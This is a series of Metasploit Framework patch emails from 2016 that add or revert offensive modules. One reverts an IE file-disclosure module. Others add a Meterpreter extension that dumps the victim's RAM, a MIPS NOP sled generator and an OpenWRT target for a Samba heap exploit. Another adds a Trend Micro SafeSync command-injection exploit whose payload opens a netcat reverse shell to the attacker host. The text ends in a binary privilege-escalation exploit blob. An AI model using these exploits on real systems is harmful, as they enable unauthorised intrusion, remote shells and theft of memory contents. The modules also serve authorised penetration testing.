Yorick Koster Date: Tue, 9 Aug 2016 20:44:45 +0200 Subject: [PATCH 010/157] Revert "Internet Explorer iframe sandbox local file name disclosure vulnerability" This reverts commit 3ed7908b836888a348e1854f7bc45282eca2c66d. --- .../auxiliary/gather/ie_sandbox_findfiles.rb | 380 ------------------ 1 file changed, 380 deletions(-) delete mode 100644 modules/auxiliary/gather/ie_sandbox_findfiles.rb diff --git a/modules/auxiliary/gather/ie_sandbox_findfiles.rb b/modules/auxiliary/gather/ie_sandbox_findfiles.rb deleted file mode 100644 index ded30f1cb3..0000000000 --- a/modules/auxiliary/gather/ie_sandbox_findfiles.rb +++ /dev/null @@ -1,380 +0,0 @@ -require 'msf/core' - -class MetasploitModule < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info={}) - super(update_info(info, - 'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability', - 'Description' => %q{ - It was found that Internet Explorer allows the disclosure of local file names. - This issue exists due to the fact that Internet Explorer behaves different for - file:// URLs pointing to existing and non-existent files. When used in - combination with HTML5 sandbox iframes it is possible to use this behavior to - find out if a local file exists. This technique only works on Internet Explorer - 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do - this from a regular website as file:// URLs are blocked all together. The attack - must be performed locally (works with Internet zone Mark of the Web) or from a - share. - }, - 'License' => MSF_LICENSE, - 'Author' => 'Yorick Koster', - 'References' => - [ - ['CVE', '2016-3321'], - ['MSB', 'MS16-095'], - ['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'], - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Internet Explorer', {} ], - ], - 'DisclosureDate' => "Aug 9 2016", - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]), - OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), - OptString.new('URIPATH', [true, "The URI to use (do not change).", "/" ]), - OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]), - ], self.class) - - deregister_options('SSL', 'SSLVersion', 'SSLCert') # no SSL - end - - def js - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - - %Q|function report() { - if(window.location.protocol != 'file:') { - try { - window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; - } catch (e) { } - return; - } - - var frames = document.getElementsByTagName('iframe'); - for(var i = 0; i < frames.length; i++) { - try { - if(frames[i].name == 'notfound') { - frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src; - } - else { - frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src; - } - } catch(e) { } - } -}| - end - - def html - frames = "" - datastore['PATHS'].split(',').each do |path| - frames = frames + "" - end - %Q| - - - - - -#{frames} - - -| - end - - def svg - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - %Q| -| - end - - def is_target_suitable?(user_agent) - if user_agent =~ /^Microsoft-WebDAV-MiniRedir/ - return true - end - - info = fingerprint_user_agent(user_agent) - if info[:ua_name] == HttpClients::IE - return true - end - - false - end - - def on_request_uri(cli, request) - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - - case request.method - when 'OPTIONS' - process_options(cli, request) - when 'PROPFIND' - process_propfind(cli, request) - when 'GET' - unless is_target_suitable?(request.headers['User-Agent']) - print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg") - resp = create_response(200, "OK") - resp.body = svg - resp['Content-Type'] = 'image/svg+xml' - resp['Content-Disposition'] = 'attachment;filename=image.svg' - cli.send_response(resp) - end - - case request.uri - when /^\/found\/\?f=/ - f = URI.unescape(request.uri.gsub('/found/?f=', '')) - report_note(host: cli.peerhost, type: 'ie.filenames', data: f) - print_good("Found file " + f) - send_response(cli, '') - when /^\/notfound\/\?f=/ - f = URI.unescape(request.uri.gsub('/notfound/?f=', '')) - print_error("The file " + f + " does not exist") - send_response(cli, '') - when "/" - resp = create_response(200, "OK") - resp.body = %Q| - - - - - -| - resp['Content-Type'] = 'text/html' - cli.send_response(resp) - else - print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page") - send_response(cli, html) - end - else - print_status("#{request.method} #{request.uri} => 404") - resp = create_response(404, "Not Found") - resp.body = "" - resp['Content-Type'] = 'text/html' - cli.send_response(resp) - end - end - - # - # OPTIONS requests sent by the WebDav Mini-Redirector - # - def process_options(cli, request) - print_status("OPTIONS #{request.uri}") - headers = { - 'MS-Author-Via' => 'DAV', - 'DASL' => '', - 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', - 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', - 'Cache-Control' => 'private' - } - resp = create_response(207, "Multi-Status") - headers.each_pair {|k,v| resp[k] = v } - resp.body = "" - resp['Content-Type'] = 'text/xml' - cli.send_response(resp) - end - - # - # PROPFIND requests sent by the WebDav Mini-Redirector - # - def process_propfind(cli, request) - path = request.uri - print_status("PROPFIND #{path}") - body = '' - - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - my_uri = "http://#{my_host}/" - - if path !~ /\/$/ - - if path.index(".") - print_status "PROPFIND => 207 File (#{path})" - body = %Q| - - -#{path} - - - -#{gen_datestamp} -#{rand(0x100000)+128000} -#{gen_timestamp} -"#{"%.16x" % rand(0x100000000)}" -T - - - - - - - - - - - -application/octet-stream - -HTTP/1.1 200 OK - - - -| - # send the response - resp = create_response(207, "Multi-Status") - resp.body = body - resp['Content-Type'] = 'text/xml; charset="utf8"' - cli.send_response(resp) - return - else - print_status "PROPFIND => 301 (#{path})" - resp = create_response(301, "Moved") - resp["Location"] = path + "/" - resp['Content-Type'] = 'text/html' - cli.send_response(resp) - return - end - end - - print_status "PROPFIND => 207 Directory (#{path})" - body = %Q| - - -#{path} - - - -#{gen_datestamp} -#{gen_timestamp} -"#{"%.16x" % rand(0x100000000)}" - - - - - - - - - - - -httpd/unix-directory - -HTTP/1.1 200 OK - - -| - - if request["Depth"].to_i > 0 - trail = path.split("/") - trail.shift - case trail.length - when 0 - body << generate_shares(path) - when 1 - body << generate_files(path) - end - else - print_status "PROPFIND => 207 Top-Level Directory" - end - - body << "" - - body.gsub!(/\t/, '') - - # send the response - resp = create_response(207, "Multi-Status") - resp.body = body - resp['Content-Type'] = 'text/xml; charset="utf8"' - cli.send_response(resp) - end - - def generate_shares(path) - share_name = datastore['SHARENAME'] -%Q| - -#{path}#{share_name}/ - - - -#{gen_datestamp} -#{gen_timestamp} -"#{"%.16x" % rand(0x100000000)}" - - - - - - - - - - - -httpd/unix-directory - -HTTP/1.1 200 OK - - -| - end - - def generate_files(path) - trail = path.split("/") - return "" if trail.length < 2 - - %Q| - -#{path}index.html - - - -#{gen_datestamp} -#{rand(0x10000)+120} -#{gen_timestamp} -"#{"%.16x" % rand(0x100000000)}" -T - - - - - - - - - - - -application/octet-stream - -HTTP/1.1 200 OK - - -| - end - - def gen_timestamp(ttype=nil) - ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") - end - - def gen_datestamp(ttype=nil) - ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") - end - - def run - exploit - end -end \ No newline at end of file From 39407dda95440c351693bc92c56d6a337e535815 Mon Sep 17 00:00:00 2001 From: Danil Bazin Date: Tue, 30 Aug 2016 19:12:28 +0200 Subject: [PATCH 011/157] Winpmem meterpreter extension --- .../meterpreter/extensions/winpmem/tlv.rb | 13 +++ .../meterpreter/extensions/winpmem/winpmem.rb | 51 +++++++++++ .../ui/console/command_dispatcher/winpmem.rb | 90 +++++++++++++++++++ 3 files changed, 154 insertions(+) create mode 100644 lib/rex/post/meterpreter/extensions/winpmem/tlv.rb create mode 100644 lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb diff --git a/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb new file mode 100644 index 0000000000..fc3fb8c9a8 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Winpmem + TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) + TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2) +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb new file mode 100644 index 0000000000..72b8a86af4 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/winpmem/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Winpmem +### +# +# This meterpreter extension can be used to capture remote RAM +# +### +class Winpmem < Extension + WINPMEM_ERROR_SUCCESS = 0 + WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1 + WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2 + WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3 + WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4 + WINPMEM_ERROR_UNKNOWN = 255 + + def initialize(client) + super(client, 'winpmem') + + client.register_extension_aliases( + [ + { + 'name' => 'winpmem', + 'ext' => self + }, + ]) + end + + def dump_ram + request = Packet.create_request('dump_ram') + response = client.send_request(request) + response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE) + + return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS + + memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + + raise Exception, "We did not get a channel back!" if channel_id.nil? + #Open the compressed Channel + channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS) + return memory_size, response_code, channel + end +end +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb new file mode 100644 index 0000000000..f350a70cb3 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb @@ -0,0 +1,90 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + + class Console::CommandDispatcher::Winpmem + + Klass = Console::CommandDispatcher::Winpmem + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + 'Winpmem' + end + + # + # List of supported commands. + # + def commands + { + 'dump_ram' => 'Dump victim RAM', + } + end + + WINPMEM_ERROR_SUCCESS = 0 + WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1 + WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2 + WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3 + WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4 + WINPMEM_ERROR_UNKNOWN = 255 + + def cmd_dump_ram(*args) + unless args[0] + print_error("Usage: dump_ram [raw-memory-file]") + return + end + path_raw = args[0] + + fd = ::File.new(path_raw, 'wb+') + memory_size, response_code, channel = client.winpmem.dump_ram + case response_code + when WINPMEM_ERROR_FAILED_LOAD_DRIVER + print_bad("Failed to load the driver") + return true + when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY + print_bad("Failed to get the memory geometry") + return true + when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY + print_bad("Failed to allocate memory") + return true + when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL + print_bad("Failed to open the meterpreter Channel") + return true + end + print_good("Driver PMEM loaded successfully") + #Arbitrary big buffer size, could be optimized + buffer_size = 2**17 + bytes_read = 0 + next_message_byte = memory_size / 10 + begin + data = channel.read(buffer_size) + until channel.eof + fd.write(data) + bytes_read += data.length + data = channel.read(buffer_size) + if bytes_read >= next_message_byte + print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded") + next_message_byte += memory_size / 10 + end + end + print_status("Download completed") + ensure + print_status("Unloading driver") + fd.close + #Unload the driver on channel close + channel.close + end + return true + end + end + end + end + end + end From bfabb3877c014d9670717a2da865cef0e00de480 Mon Sep 17 00:00:00 2001 From: Danil Bazin Date: Wed, 31 Aug 2016 14:00:35 +0200 Subject: [PATCH 012/157] @void-in suggestions styles --- .../ui/console/command_dispatcher/winpmem.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb index f350a70cb3..f562d7f29a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb @@ -37,7 +37,7 @@ module Ui def cmd_dump_ram(*args) unless args[0] - print_error("Usage: dump_ram [raw-memory-file]") + print_error("Usage: dump_ram [output_file]") return end path_raw = args[0] @@ -46,16 +46,16 @@ module Ui memory_size, response_code, channel = client.winpmem.dump_ram case response_code when WINPMEM_ERROR_FAILED_LOAD_DRIVER - print_bad("Failed to load the driver") + print_error("Failed to load the driver") return true when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY - print_bad("Failed to get the memory geometry") + print_error("Failed to get the memory geometry") return true when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY - print_bad("Failed to allocate memory") + print_error("Failed to allocate memory") return true when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL - print_bad("Failed to open the meterpreter Channel") + print_error("Failed to open the meterpreter Channel") return true end print_good("Driver PMEM loaded successfully") From 4d3611ceb9ec10656ee8821d536786b1dc51d3fe Mon Sep 17 00:00:00 2001 From: Jan Mitchell Date: Thu, 1 Sep 2016 09:55:08 +0100 Subject: [PATCH 013/157] Added MIPSBE support to Samba exploit. Added a MIPSBE nop generator --- modules/nops/mipsbe/better.rb | 108 ++++++++++++++++++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 modules/nops/mipsbe/better.rb diff --git a/modules/nops/mipsbe/better.rb b/modules/nops/mipsbe/better.rb new file mode 100644 index 0000000000..d68ef2ac6d --- /dev/null +++ b/modules/nops/mipsbe/better.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +### +# +# MixedNop +# ---------- +# +# This class implements a mixed NOP generator for MIPS (big endian) +# +### +class MetasploitModule < Msf::Nop + + + def initialize + super( + 'Name' => 'Better', + 'Alias' => 'mipsbe_better', + 'Description' => 'Better NOP generator', + 'Author' => 'jm', + 'License' => MSF_LICENSE, + 'Arch' => ARCH_MIPSBE) + + register_advanced_options( + [ + OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) + ], self.class) + end + + def get_register() + return rand(27) + 1 + end + + def make_bne(reg) + op = 0x14000000 + + reg = get_register() + offset = rand(65536) + + op = op | ( reg << 21 ) | ( reg << 16 ) | offset + return op + end + + def make_or(reg) + op = 0x00000025 + + op = op | ( reg << 21 ) | ( reg << 11 ) + return op + end + + def make_sll(reg) + op = 0x00000000 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_sra(reg) + op = 0x00000003 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_srl(reg) + op = 0x00000002 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_xori(reg) + op = 0x38000000 + + op = op | ( reg << 21 ) | ( reg << 16 ) + return op + end + + def make_ori(reg) + op = 0x34000000 + + op = op | ( reg << 21 ) | ( reg << 16 ) + return op + end + + def generate_sled(length, opts) + + badchars = opts['BadChars'] || '' + random = opts['Random'] || datastore['RandomNops'] + nop_fn = [ :make_bne, :make_or, :make_sll, :make_sra, :make_srl, :make_xori, :make_ori ] + sled = '' + + for i in 1..length/4 do + n = nop_fn.sample + sled << [send(n, get_register())].pack("N*") + end + + return sled + end + +end + From 411689aa444fb098b0047be08c40b27fcbc84ff7 Mon Sep 17 00:00:00 2001 From: Jan Mitchell Date: Thu, 1 Sep 2016 10:05:13 +0100 Subject: [PATCH 014/157] Adding changes to Samba exploit to target MIPSBE (this is for OpenWRT on a router --- .../exploits/linux/samba/lsa_transnames_heap.rb | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index 5a9c5dfb6a..82a8c8b8fe 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -168,6 +168,20 @@ class MetasploitModule < Msf::Exploit::Remote } ], + ['Linux Heap Brute Force (OpenWRT MIPS)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_MIPSBE ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x55900000 }, + 'Stop' => { 'Ret' => 0x559c0000 }, + 'Step' => 60*1024, + } + } + ], + ['DEBUG', { 'Platform' => 'linux', @@ -267,7 +281,7 @@ class MetasploitModule < Msf::Exploit::Remote talloc_magic = "\x70\xec\x14\xe8" # second talloc_chunk header - buf << 'A' * 8 # next, prev + buf << NDR.long(0) + NDR.long(0) # next, prev buf << NDR.long(0) + NDR.long(0) # parent, child buf << NDR.long(0) # refs buf << [target_addrs['Ret']].pack('V') # destructor From e4d118108ade16ec0be1c2000a198487418fed0d Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 6 Sep 2016 19:33:23 +0000 Subject: [PATCH 015/157] Trend Micro SafeSync exploit. --- .../linux/http/trendmicro_safesync_exec.rb | 137 ++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100644 modules/exploits/linux/http/trendmicro_safesync_exec.rb diff --git a/modules/exploits/linux/http/trendmicro_safesync_exec.rb b/modules/exploits/linux/http/trendmicro_safesync_exec.rb new file mode 100644 index 0000000000..f20f676392 --- /dev/null +++ b/modules/exploits/linux/http/trendmicro_safesync_exec.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Trend Micro SafeSync for Business Exec Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in Trend Micro Safe Sync where an untrusted input is fed to ad_changed_sync.py, leading to command injection. + Please note: authentication is required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => { 'BadChars' => "\x00" }, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DisclosureDate' => "Sep 6 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to some web application', '/']), + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]), + OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), + OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), + OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), + ], self.class) + end + + def check + opts = login + if opts + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "api", "system", "version"), + 'headers'=> + { + 'Cookie' => "mgmtui_session=#{opts['mgmtui_session']}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + } + }) + if res and res.code == 200 + j = res.get_json_document + version = j['version'].to_f + build = j['build'].to_s.split('.') + build_major = build[0].to_i(10) + build_minor = build[1].to_i(10) + build_version = build[2].to_i(10) + build_tag = build[3].to_i(10) + print_status("TrendMicro Safe Sync Server detected.") + print_status("Version: #{version}") + print_status("Build: #{j['build']}") + + if (version <= 2.1 and build_major == 3 and build_minor == 2 and build_version == 0 and build_tag < 1426) + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + end + Exploit::CheckCode::Safe + end + + def execute_command(cmd, opts = {}) + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "api", "admin", "ad", "ad_sync_now"), + 'ctype' => 'application/json', + 'headers' => + { + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/admin_ldap_integration.html", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + 'Cookie' => "mgmtui_session=#{opts['mgmtui_session']}", + }, + 'data' => "{\"id\": \"1; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc #{datastore['LHOST']} #{datastore['LPORT']} >/tmp/f; ls\"}" + }, 60) + end + + def login + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "api", "auth", "login"), + 'ctype' => 'application/json', + 'headers'=> + { + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.html", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + }, + 'data' => "{\"username\":\"#{datastore['ADMINACCOUNT']}\", \"password\":\"#{datastore['ADMINPASS']}\"}" + }) + if res and res.code == 200 and !res.get_cookies.empty? + mgmtui_session = res.get_cookies.scan(/mgmtui_session=([^;]*);/).last.first + return {"mgmtui_session" => mgmtui_session} + end + nil + end + + + def exploit + opts = login + if opts + print_status("Successfully logged in.") + print_status("Exploiting...") + execute_cmdstager(opts=opts) + else + print_error("An error occured while loggin in.") + end + end +end From c102384b7a789b165a8aa657c2af620dbdf6f823 Mon Sep 17 00:00:00 2001 From: Jan Mitchell Date: Fri, 16 Sep 2016 11:28:08 +0100 Subject: [PATCH 016/157] Remove spaces at EOL --- modules/nops/mipsbe/better.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/nops/mipsbe/better.rb b/modules/nops/mipsbe/better.rb index d68ef2ac6d..1b2ad61986 100644 --- a/modules/nops/mipsbe/better.rb +++ b/modules/nops/mipsbe/better.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Nop ], self.class) end - def get_register() + def get_register() return rand(27) + 1 end @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Nop def make_or(reg) op = 0x00000025 - + op = op | ( reg << 21 ) | ( reg << 11 ) return op end From c036c258a90d58c0fc1dfdec31c436ae41f42686 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 29 Sep 2016 05:23:12 -0400 Subject: [PATCH 017/157] cve-2016-4557 --- data/exploits/CVE-2016-4557/doubleput | Bin 0 -> 13920 bytes data/exploits/CVE-2016-4557/hello | Bin 0 -> 9576 bytes data/exploits/CVE-2016-4557/suidhelper | Bin 0 -> 8840 bytes .../exploit/linux/local/bpf_priv_esc.md | 161 ++++++ modules/exploits/linux/local/bpf_priv_esc.rb | 488 ++++++++++++++++++ 5 files changed, 649 insertions(+) create mode 100644 data/exploits/CVE-2016-4557/doubleput create mode 100644 data/exploits/CVE-2016-4557/hello create mode 100644 data/exploits/CVE-2016-4557/suidhelper create mode 100644 documentation/modules/exploit/linux/local/bpf_priv_esc.md create mode 100644 modules/exploits/linux/local/bpf_priv_esc.rb diff --git a/data/exploits/CVE-2016-4557/doubleput b/data/exploits/CVE-2016-4557/doubleput new file mode 100644 index 0000000000000000000000000000000000000000..7194be69b6813b267c2759f4669c1081692db9f3 GIT binary patch literal 13920 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 